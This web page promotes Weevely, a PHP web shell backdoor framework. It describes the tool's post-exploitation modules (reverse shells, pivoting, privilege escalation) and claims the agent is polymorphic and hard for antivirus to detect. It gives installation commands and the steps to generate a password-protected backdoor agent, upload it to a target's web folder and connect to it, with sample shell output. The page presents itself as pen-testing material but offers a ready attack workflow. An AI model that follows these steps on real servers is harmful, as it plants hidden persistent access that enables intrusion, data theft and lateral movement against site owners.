Stealthy PHP Web Shell Backdoor: Weevely

Stealthy PHP Web Shell Backdoor

Weevely is a command line web shell dinamically extended over the network at runtime used for administration and pen testing of remote web accesses. It provides a weaponized telnet-like console through a PHP script running on the target, even in restricted environments.

The low footprint agent and over 30 modules shape an extensible framework to administrate, conduct a pen-test, post-exploit, and audit remote web accesses in order to escalate privileges and pivot deeper in the internal networks.

Weevely 3.2.0 Released: Weaponized web shell

The modular framework

Weevely modules extend the terminal providing a layer to interact to the remote target.

The modules feature:

  • Shell/PHP telnet-like network terminal
  • Common server misconfigurations auditing
  • SQL console pivoting on target
  • HTTP traffic proxying through target
  • Mount target file system to local mount point
  • Run scans pivoting on target
  • File upload and download
  • Spawn reverse and direct TCP shells
  • Zip, gz, bz2 and tar handling


Stealthy PHP Web Shell Backdoor: Weevely wiki


The backdoor agent

The remote agent is a very low footprint agent that receives the dynamically injected code from the client, extending the client functionalities over the network at run-time. The agent code is polymorphic and hardly detectable by AV and HIDS. The communication is covered and obfuscated within the HTTP protocol using steganographic techniques.


Use cases:


Web administration

Weevely simplify the administration of your web account, especially with unprivileged accounts as in free hosting services and other shared environments.



Weevely is an essential tool for post exploitation tasks like privilege escalation and access maintaining also in limited hardened environments.





The following example runs on a Debian/Ubuntu derived Linux environments with Python version 2.7.

# Make sure that the python package manager and yaml libraries are installed
$ sudo apt-get install g++ python-pip libyaml-dev python-dev
# Install requirements
$ sudo pip install prettytable Mako pyaml dateutils PySocks --upgrade



The following example runs on OS X with the Macports packaging system.

$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
# Ideally, at this point you should install editline library (
# to have a working line completion in terminal. See issue #7 for more info.
$ sudo pip install prettytable Mako pyaml dateutils readline PySocks --upgrade



The following example runs on Microsoft Windows 7 with Python version 2.7, and likely on other Windows version.

# Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and
# install the following requirements
> pip install prettytable Mako pyaml dateutils pyreadline PySocks --upgrade


Generate the backdoor agent

Weevely client communicates to the PHP agent installed into the target. Run ./ to print help.

$ ./ 
[+] weevely 3.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password>

[+] Load session file
    weevely session <path>

[+] Generate backdoor agent
    weevely generate <password> <path>

To generate a new agent, just use the generate option passing the password and path arguments.

$ ./ generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.

Then, upload the generated agent under the target web folder. Make sure that the agent PHP script is properly exposed and executable through the web server.


Connect to the agent

Launch weevely script to connect to the remote agent.

$ ./ http://target/agent.php mypassword

The first prompt weevely> is still not connected to allow users to set any useful pre-connection option e.g. set proxies to be used. Running a real command starts automatically the session on the remote target.

weevely> ls
www-data@target:/var/www $ cd ..
www-data@target:/var/ $ whoami
www-data@target:/var/ $ uname -a
Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux
www-data@target:/var/ $



Source && Download

Stealthy PHP Web Shell Backdoor: Weevely download

Visitors Rating
Rate Here
Ease Of Use
Overall Rating
Visitors Rating
3 ratings
You have rated this
What's your reaction?

You must log in to post a comment